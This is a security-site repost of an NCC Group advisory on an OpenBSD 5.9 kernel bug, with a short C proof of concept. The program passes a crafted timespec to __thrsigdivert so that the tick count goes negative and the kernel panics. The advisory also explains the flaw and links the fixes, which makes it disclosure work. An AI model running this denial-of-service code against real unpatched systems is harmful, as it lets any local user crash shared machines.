首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenBSD 5.9 kernel panic through the __thrsigdivert system call Exploit
来源:vfocus.net 作者:vfocus 发布时间:2016-07-18  
/*
* thrsigdivert_panic.c
* Demonstrate a panic through the __thrsigdivert system call.
*
* gcc -g thrsigdivert_panic.c -o thrsigdivert_panic
*/
  
#ifdef BUG_WRITEUP //---------------------------------------------------
__thrsigdivert validation is insufficient and can lead to a panic.
  
Impact:
Any user can panic the OpenBSD kernel with the __thrsigdivert system call.
  
Description:
The __thrsigdivert system call allows a user to sleep for some amount
of time waiting for a signal. The system call validates the user-provided
parameters in sys___thrsigdivert() (kern/kern_sig.c) before calling to
lower layers to implement the sleep:
  
if (ts.tv_nsec < 0 || ts.tv_nsec >= 1000000000)
timeinvalid = 1;
else {
to_ticks = (long long)hz * ts.tv_sec +
ts.tv_nsec / (tick * 1000);
if (to_ticks > INT_MAX)
to_ticks = INT_MAX;
}
  
This validation is insufficient. Some values of the user-provided
ts can lead to a negative to_ticks value after conversion. This
condition triggers a panic in timeout_add (kern/kern_timeout.c) when
the to_ticks value is checked to be positive:
  
if (to_ticks < 0)
panic("timeout_add: to_ticks (%d) < 0", to_ticks);
  
Reproduction:
Run the attached thrsigdivert_panic.c program. NCC verified that
it causes a panic on OpenBSD 5.9 GENERIC kernel on an x86_64 processor.
NCC Group was able to reproduce this issue on OpenBSD 5.9 release
running amd64.
  
Recommendation:
Return an error it ts.tv_sec is negative in sys___thrsigdivert.
Check to see if to_ticks is negative in sys___thrsigdivert
(kern/kern_sig.c) and, if so, saturate its value at INT_MAX, since
this indicates an overly large value.
  
Reported: 2016-07-05
Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_sig.c.diff?r1=1.200&r2=1.201
http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_synch.c.diff?r1=1.132&r2=1.133
http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_tc.c.diff?r1=1.28&r2=1.29
http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_timeout.c.diff?r1=1.47&r2=1.48
http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/018_timeout.patch.sig
http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/021_timeout.patch.sig
  
#endif // BUG_WRITEUP ---------------------------------------------------
  
#include <stdio.h>
#include <sys/signal.h>
  
int __thrsigdivert(sigset_t set, siginfo_t *info, const struct timespec *timeout);
  
int
main(int argc, char **argv)
{
struct timespec tsp = { 0x687327fff5612f21, 0x63760a};
siginfo_t info;
  
__thrsigdivert(1, &info, &tsp);
printf("nothing happened!\n");
return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic in tm
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic in UF
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic throu
·Prestashop vtermslidesshow mod
·Axis Communications MPQT/PACS
·MS16-032 Secondary Logon Handl
·OpenSSHD <= 7.2p2 - User Enume
·Riverbed SteelCentral NetProfi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved